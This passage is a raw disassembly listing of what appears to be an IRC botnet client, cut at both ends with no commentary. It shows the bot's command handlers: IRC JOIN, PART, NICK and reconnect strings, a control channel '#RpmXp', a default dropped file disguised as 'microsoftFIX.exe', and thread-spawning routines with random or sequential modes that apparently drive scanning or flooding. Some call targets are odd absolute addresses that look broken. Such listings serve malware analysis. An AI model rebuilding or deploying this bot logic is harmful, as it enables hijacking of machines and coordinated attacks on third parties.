		test	eax, eax
		push	esi
		jz	short loc_406047
		push	offset unk_438F3C
		jmp	short loc_40604C
; ---------------------------------------------------------------------------


loc_406047:				; CODE XREF: sub_403038+3006j
		push	offset unk_438F60


loc_40604C:				; CODE XREF: sub_403038+300Dj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40607C
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_40607C:				; CODE XREF: sub_403038+3026j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_406020
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_406098:				; CODE XREF: sub_403038+2204j
					; sub_403038+2219j
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		push	[ebp+esi+var_8C]
		push	[ebp+var_C]
		call	sub_417B50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40858F
		push	esi
		push	offset aS_28	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	esi
		push	offset dword_438EBC
		jmp	loc_408389
; ---------------------------------------------------------------------------


loc_4060D5:				; CODE XREF: sub_403038+21DAj
					; sub_403038+21EFj
		mov	esi, [ebp+esi+var_8C]
		push	esi
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	esi
		push	offset unk_438E88
		jmp	loc_408389
; ---------------------------------------------------------------------------


loc_4060F5:				; CODE XREF: sub_403038+21B0j
					; sub_403038+21C5j
		push	[ebp+esi+var_88]
		mov	edi, [ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS_1 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	edi
		push	offset unk_438E4C
		jmp	loc_408249
; ---------------------------------------------------------------------------


loc_40611C:				; CODE XREF: sub_403038+2186j
					; sub_403038+219Bj
		mov	esi, [ebp+esi+var_8C]
		push	esi
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	esi
		push	offset unk_438E0C
		jmp	loc_408389
; ---------------------------------------------------------------------------


loc_40613C:				; CODE XREF: sub_403038+215Cj
					; sub_403038+2171j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		mov	esi, [ebp+esi+var_8C]
		lea	eax, [ebp+var_2E4]
		push	esi
		push	offset unk_438DD0
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		push	esi
		call	sub_4174D0
		add	esp, 1Ch


loc_406177:				; CODE XREF: sub_403038+318Ej
		push	eax
		nop
		call	near ptr 2690599h


loc_40617E:				; CODE XREF: sub_403038+3F0Bj
		xor	eax, eax
		jmp	loc_4034D7
; ---------------------------------------------------------------------------


loc_406185:				; CODE XREF: sub_403038+2132j
					; sub_403038+2147j
		push	offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		mov	esi, [ebp+esi+var_8C]
		lea	eax, [ebp+var_2E4]
		push	esi
		push	offset unk_438D78
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		push	esi
		call	sub_4174D0
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_406177
; ---------------------------------------------------------------------------


loc_4061C8:				; CODE XREF: sub_403038+1FA5j
					; sub_403038+1FBAj
		mov	al, byte_43E15A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_43E15A
		jz	loc_4034D4
		mov	ecx, edx


loc_4061DF:				; CODE XREF: sub_403038+31AFj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4061DF
		cmp	al, bl
		jz	loc_4034D4
		mov	[ebp+arg_18], edx


loc_4061F4:				; CODE XREF: sub_403038+347Cj
		push	0Bh
		call	sub_40909B
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_406243
		push	ecx
		lea	eax, [ebp+var_2E4]
		push	offset unk_438B70
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 20h
		jmp	loc_4064AB
; ---------------------------------------------------------------------------


loc_406243:				; CODE XREF: sub_403038+31D6j
		or	[ebp+var_400], 0FFFFFFFFh
		cmp	dword_43DE38, ebx
		mov	[ebp+var_404], 64h
		mov	[ebp+var_418], 5
		mov	[ebp+var_414], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4062B4
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_43DE38
		lea	edi, [eax-0Ah]


loc_40627E:				; CODE XREF: sub_403038+325Ej
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40629A
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40627E
		jmp	short loc_4062B4
; ---------------------------------------------------------------------------


loc_40629A:				; CODE XREF: sub_403038+3254j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_400], eax
		shl	ecx, 6
		mov	ecx, dword_43DE38[ecx]
		mov	[ebp+var_41C], ecx


loc_4062B4:				; CODE XREF: sub_403038+3239j
					; sub_403038+3260j
		cmp	[ebp+var_41C], ebx
		jz	loc_4064BF
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_4452EC
		mov	al, [ebp+var_99B]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_417770
		xor	eax, eax
		cmp	[ebp+var_99B], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_418310
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_406356


loc_406334:				; CODE XREF: sub_403038+331Cj
		cmp	eax, ebx
		jz	short loc_406356
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_530]
		push	30h
		push	eax
		call	sub_418310
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_406334


loc_406356:				; CODE XREF: sub_403038+32FAj
					; sub_403038+32FEj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_420], eax
		lea	eax, [ebp+var_520]
		push	80h
		push	eax
		mov	[ebp+var_3F0], 1
		mov	[ebp+var_3F8], esi
		mov	[ebp+var_3F4], edi
		call	sub_4172D0
		push	offset dword_4D319C
		push	offset aRpmxp_0	; "#RpmXp"
		call	sub_417870
		add	esp, 14h
		test	eax, eax
		jz	short loc_4063C3
		push	offset aRpmxp_0	; "#RpmXp"
		lea	eax, [ebp+var_4A0]
		push	80h
		push	eax
		call	sub_4172D0
		add	esp, 0Ch
		jmp	short loc_4063C9
; ---------------------------------------------------------------------------


loc_4063C3:				; CODE XREF: sub_403038+336Ej
		mov	[ebp+var_4A0], bl


loc_4063C9:				; CODE XREF: sub_403038+3389j
		cmp	[ebp+var_3F0], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4063DB
		mov	eax, offset aSequential	; "Sequential"


loc_4063DB:				; CODE XREF: sub_403038+339Cj
		push	[ebp+var_404]
		lea	ecx, [ebp+var_530]
		push	[ebp+var_414]
		push	[ebp+var_418]
		push	[ebp+var_41C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_438BFC
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	0Bh
		push	eax
		call	sub_408E53
		add	esp, 2Ch
		mov	[ebp+var_410], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_530]
		push	ebx
		push	eax
		push	offset loc_40A0E0
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_410]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_406465


loc_406453:				; CODE XREF: sub_403038+342Bj
		cmp	[ebp+var_3EC], ebx
		jnz	short loc_406480
		push	32h
		call	near ptr 2690599h
		nop
		jmp	short loc_406453
; ---------------------------------------------------------------------------


loc_406465:				; CODE XREF: sub_403038+3419j
		call	near ptr 26908EFh
		nop
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_438C68
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_406480:				; CODE XREF: sub_403038+3421j
		cmp	edi, ebx
		jnz	short loc_40649E
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_40649E:				; CODE XREF: sub_403038+344Aj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		pop	ecx


loc_4064AB:				; CODE XREF: sub_403038+3206j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4061F4
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_4064BF:				; CODE XREF: sub_403038+3282j
		push	offset unk_438BB0
		jmp	loc_407679
; ---------------------------------------------------------------------------


loc_4064C9:				; CODE XREF: sub_403038+1F15j
					; sub_403038+1F2Aj
		push	5
		call	sub_40909B
		test	eax, eax
		pop	ecx
		jle	short loc_4064DF
		push	offset unk_438AA8
		jmp	loc_4055CA
; ---------------------------------------------------------------------------


loc_4064DF:				; CODE XREF: sub_403038+349Bj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_406502
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7EC]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 0Ch
		jmp	short loc_406516
; ---------------------------------------------------------------------------


loc_406502:				; CODE XREF: sub_403038+34B0j
		mov	edi, 104h
		lea	eax, [ebp+var_7EC]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h


loc_406516:				; CODE XREF: sub_403038+34C8j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_406526
		mov	esi, offset aMicrosoftfix_e ; "microsoftFIX.exe"


loc_406526:				; CODE XREF: sub_403038+34E7j
		push	esi
		lea	eax, [ebp+var_6E8]
		push	edi
		push	eax
		call	sub_4172D0
		mov	eax, dword_436C0C
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5E0], ebx
		mov	[ebp+var_7F0], eax
		lea	eax, [ebp+var_5D8]
		push	eax
		call	sub_417770
		mov	eax, [ebp+var_4]
		mov	[ebp+var_558], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_554], eax
		lea	eax, [ebp+var_7EC]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_5DC]
		push	offset unk_438AC8
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	5
		push	eax
		call	sub_408E53
		add	esp, 34h
		mov	[ebp+var_5E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset byte_40FFAF
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_5E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_4065EF


loc_4065D9:				; CODE XREF: sub_403038+35B5j
		cmp	[ebp+var_550], ebx
		jnz	loc_4072D4
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_4065D9
; ---------------------------------------------------------------------------


loc_4065EF:				; CODE XREF: sub_403038+359Fj
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_438AFC
		jmp	loc_4072C5
; ---------------------------------------------------------------------------


loc_406600:				; CODE XREF: sub_403038+1EEBj
					; sub_403038+1F00j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40661F
		push	edi
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jz	short loc_40661F
		push	edi
		call	sub_4174D0
		pop	ecx
		jmp	short loc_406624
; ---------------------------------------------------------------------------


loc_40661F:				; CODE XREF: sub_403038+35D1j
					; sub_403038+35DCj
		mov	eax, dword_436C10


loc_406624:				; CODE XREF: sub_403038+35E5j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_56C], eax
		xor	eax, eax
		cmp	[ebp+var_998], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_558], eax
		jz	short loc_406657
		lea	eax, [ebp+var_670]
		push	esi
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	short loc_406682
; ---------------------------------------------------------------------------


loc_406657:				; CODE XREF: sub_403038+360Cj
		lea	eax, [ebp+var_4E8]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_D4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417BD0
		add	esp, 14h


loc_406682:				; CODE XREF: sub_403038+361Dj
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_414BE0
		cmp	[ebp+eax+var_671], 5Ch
		pop	ecx
		jnz	short loc_4066AD
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_414BE0
		pop	ecx
		mov	[ebp+eax+var_671], bl


loc_4066AD:				; CODE XREF: sub_403038+365Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_8F8]
		mov	[ebp+var_8FC], esi
		push	80h
		push	eax
		call	sub_4172D0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_55C], eax
		lea	eax, [ebp+var_670]
		mov	[ebp+var_560], edi
		push	eax
		push	[ebp+var_56C]
		push	esi
		call	sub_40267D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_438A1C
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	3
		push	eax
		call	sub_408E53
		add	esp, 20h
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8FC]
		push	ebx
		push	eax
		push	offset sub_40D8F7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_564]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_406765


loc_40674F:				; CODE XREF: sub_403038+372Bj
		cmp	[ebp+var_550], ebx
		jnz	loc_407EE8
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_40674F
; ---------------------------------------------------------------------------


loc_406765:				; CODE XREF: sub_403038+3715j
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_438A58
		jmp	loc_407ED9
; ---------------------------------------------------------------------------


loc_406776:				; CODE XREF: sub_403038+1EC1j
					; sub_403038+1ED6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_406795
		push	edi
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jz	short loc_406795
		push	edi
		call	sub_4174D0
		pop	ecx
		jmp	short loc_40679A
; ---------------------------------------------------------------------------


loc_406795:				; CODE XREF: sub_403038+3747j
					; sub_403038+3752j
		mov	eax, dword_436C14


loc_40679A:				; CODE XREF: sub_403038+375Bj
		mov	[ebp+var_568], eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_4067B1
		lea	eax, [ebp+var_C0]


loc_4067B1:				; CODE XREF: sub_403038+3771j
		push	eax
		lea	eax, [ebp+var_6A8]
		push	40h
		push	eax
		call	sub_4172D0
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_4067D3
		mov	esi, offset dword_4D3198


loc_4067D3:				; CODE XREF: sub_403038+3794j
		push	esi
		lea	eax, [ebp+var_668]
		push	100h
		push	eax
		call	sub_4172D0
		push	[ebp+var_88]
		lea	eax, [ebp+var_728]
		push	80h
		push	eax
		call	sub_4172D0
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_554], eax
		lea	eax, [ebp+var_6A8]
		push	eax
		mov	[ebp+var_72C], esi
		push	[ebp+var_568]
		mov	[ebp+var_558], edi
		push	esi
		call	sub_40267D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_438990
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	9
		push	eax
		call	sub_408E53
		add	esp, 20h
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_72C]
		push	ebx
		push	eax
		push	offset word_40F266
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_564]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_40689D


loc_406887:				; CODE XREF: sub_403038+3863j
		cmp	[ebp+var_550], ebx
		jnz	loc_407EE8
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_406887
; ---------------------------------------------------------------------------


loc_40689D:				; CODE XREF: sub_403038+384Dj
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_4389CC
		jmp	loc_407ED9
; ---------------------------------------------------------------------------


loc_4068AE:				; CODE XREF: sub_403038+1E97j
					; sub_403038+1EACj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4068C1
		push	esi
		call	sub_4174D0
		jmp	short loc_4068C8
; ---------------------------------------------------------------------------


loc_4068C1:				; CODE XREF: sub_403038+387Fj
		push	0Bh
		call	sub_4090BA


loc_4068C8:				; CODE XREF: sub_403038+3887j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40858F
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409757


loc_4068E3:				; CODE XREF: sub_403038+3D1Fj
		add	esp, 10h
		jmp	loc_40858F
; ---------------------------------------------------------------------------


loc_4068EB:				; CODE XREF: sub_403038+1E6Dj
					; sub_403038+1E82j
		mov	eax, dword_445264
		cmp	eax, ebx
		jz	short loc_406908
		call	eax
		test	eax, eax
		jz	short loc_406901
		push	offset unk_4388EC
		jmp	short loc_40691D
; ---------------------------------------------------------------------------


loc_406901:				; CODE XREF: sub_403038+38C0j
		push	offset unk_438910
		jmp	short loc_40691D
; ---------------------------------------------------------------------------


loc_406908:				; CODE XREF: sub_403038+38BAj
		push	offset unk_43893C
		jmp	short loc_40691D
; ---------------------------------------------------------------------------


loc_40690F:				; CODE XREF: sub_403038+1E43j
					; sub_403038+1E58j
		call	sub_402599
		test	eax, eax
		jz	short loc_406933
		push	offset unk_438888


loc_40691D:				; CODE XREF: sub_403038+38C7j
					; sub_403038+38CEj ...
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_4172D0
		jmp	loc_40722C
; ---------------------------------------------------------------------------


loc_406933:				; CODE XREF: sub_403038+38DEj
		push	offset unk_4388AC
		jmp	short loc_40691D
; ---------------------------------------------------------------------------


loc_40693A:				; CODE XREF: sub_403038+1E19j
					; sub_403038+1E2Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_406959
		push	ebx
		push	[ebp+var_4]
		push	offset dword_438840
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_406959:				; CODE XREF: sub_403038+3905j
		push	ebx
		push	[ebp+var_4]
		call	sub_411D9F
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		push	offset dword_438858
		jmp	loc_406C26
; ---------------------------------------------------------------------------


loc_40697B:				; CODE XREF: sub_403038+1811j
					; sub_403038+1826j
		push	0Ah
		call	sub_40909B
		test	eax, eax
		pop	ecx
		jle	short loc_406991
		push	offset unk_438750
		jmp	loc_407679
; ---------------------------------------------------------------------------


loc_406991:				; CODE XREF: sub_403038+394Dj
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4139E2
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4069B0
		push	offset unk_43877C
		jmp	loc_407679
; ---------------------------------------------------------------------------


loc_4069B0:				; CODE XREF: sub_403038+396Cj
		push	offset unk_4387A4
		jmp	loc_407679
; ---------------------------------------------------------------------------


loc_4069BA:				; CODE XREF: sub_403038+17E7j
					; sub_403038+17FCj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40219C
		jmp	loc_406C44
; ---------------------------------------------------------------------------


loc_4069D3:				; CODE XREF: sub_403038+17BDj
					; sub_403038+17D2j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41188C
		jmp	loc_406C44
; ---------------------------------------------------------------------------


loc_4069F0:				; CODE XREF: sub_403038+1793j
					; sub_403038+17A8j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26C05FFh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_406A19
		push	esi
		call	sub_4174D0
		pop	ecx
		mov	edi, eax


loc_406A19:				; CODE XREF: sub_403038+39D6j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_406A32
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40858F


loc_406A32:				; CODE XREF: sub_403038+39EFj
		push	ebx
		call	sub_413F6C
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_438708
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		jmp	loc_407A9B
; ---------------------------------------------------------------------------


loc_406A74:				; CODE XREF: sub_403038+1769j
					; sub_403038+177Ej
		push	27h
		call	sub_40909B
		test	eax, eax
		pop	ecx
		jle	short loc_406AA5
		cmp	[ebp+var_8], ebx
		jnz	loc_4034D4
		push	ebx
		push	[ebp+var_4]
		push	offset unk_43867C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		jmp	loc_40853A
; ---------------------------------------------------------------------------


loc_406AA5:				; CODE XREF: sub_403038+3A46j
		push	[ebp+var_88]
		lea	eax, [ebp+var_378]
		push	80h
		push	eax
		call	sub_4172D0
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_2EC], eax
		mov	[ebp+var_2F4], ebx
		jz	short loc_406B06
		push	esi
		push	offset aFull	; "full"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406B06
		mov	[ebp+var_2F4], 1


loc_406B06:				; CODE XREF: sub_403038+3AB1j
					; sub_403038+3AC2j
		lea	eax, [ebp+var_2E4]
		push	offset dword_4386A4
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	27h
		push	eax
		call	sub_408E53
		add	esp, 14h
		mov	[ebp+var_2F8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_37C]
		push	ebx
		push	eax
		push	offset sub_413669
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_2F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_406B74


loc_406B5E:				; CODE XREF: sub_403038+3B3Aj
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40514A
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_406B5E
; ---------------------------------------------------------------------------


loc_406B74:				; CODE XREF: sub_403038+3B24j
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_4386C0


loc_406B80:				; CODE XREF: sub_403038+2CFAj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_406B94:				; CODE XREF: sub_403038+173Fj
					; sub_403038+1754j
		cmp	[ebp+var_8], ebx
		jnz	short loc_406BB3
		push	ebx
		push	[ebp+var_4]
		push	offset dword_438654
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_406BB3:				; CODE XREF: sub_403038+3B5Fj
		push	[ebp+arg_4]
		call	dword_4453E0
		call	dword_4452A0
		call	sub_411FA3
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_406BCE:				; CODE XREF: sub_403038+1715j
					; sub_403038+172Aj
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_414129
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		push	offset dword_438624
		jmp	short loc_406C26
; ---------------------------------------------------------------------------


loc_406BF9:				; CODE XREF: sub_403038+16EBj
					; sub_403038+1700j
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_4143DD
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		push	offset dword_4385FC


loc_406C26:				; CODE XREF: sub_403038+393Ej
					; sub_403038+3BBFj
		call	sub_410557
		jmp	loc_40824E
; ---------------------------------------------------------------------------


loc_406C30:				; CODE XREF: sub_403038+16C1j
					; sub_403038+16D6j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410694


loc_406C44:				; CODE XREF: sub_403038+3BCj
					; sub_403038+3996j ...
		add	esp, 10h
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_406C4C:				; CODE XREF: sub_403038+1697j
					; sub_403038+16ACj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_474], bl
		jz	short loc_406C8B
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_406C8B
		push	esi
		push	[ebp+var_C]
		call	sub_417B50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_406C8B
		push	eax
		push	offset dword_43858C
		lea	eax, [ebp+var_474]
		push	80h
		push	eax
		call	sub_4172D0
		add	esp, 10h


loc_406C8B:				; CODE XREF: sub_403038+3C1Dj
					; sub_403038+3C28j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_4F4]
		push	80h
		push	eax
		call	sub_4172D0
		mov	eax, [ebp+arg_4]
		push	offset dword_438590
		mov	[ebp+var_4F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3EC], eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	25h
		push	eax
		call	sub_408E53
		add	esp, 20h
		mov	[ebp+var_3F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset byte_410707
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_3F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_406D2B


loc_406D15:				; CODE XREF: sub_403038+3CF1j
		cmp	[ebp+var_3E8], ebx
		jnz	loc_4034D4
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_406D15
; ---------------------------------------------------------------------------


loc_406D2B:				; CODE XREF: sub_403038+3CDBj
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_4385A8
		jmp	loc_408716
; ---------------------------------------------------------------------------


loc_406D3C:				; CODE XREF: sub_403038+166Dj
					; sub_403038+1682j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4104DF
		push	offset dword_43856C
		call	sub_410557
		jmp	loc_4068E3
; ---------------------------------------------------------------------------


loc_406D5C:				; CODE XREF: sub_403038+1643j
					; sub_403038+1658j
		push	[ebp+var_88]
		lea	eax, [ebp+var_378]
		push	80h
		push	eax
		call	sub_4172D0
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
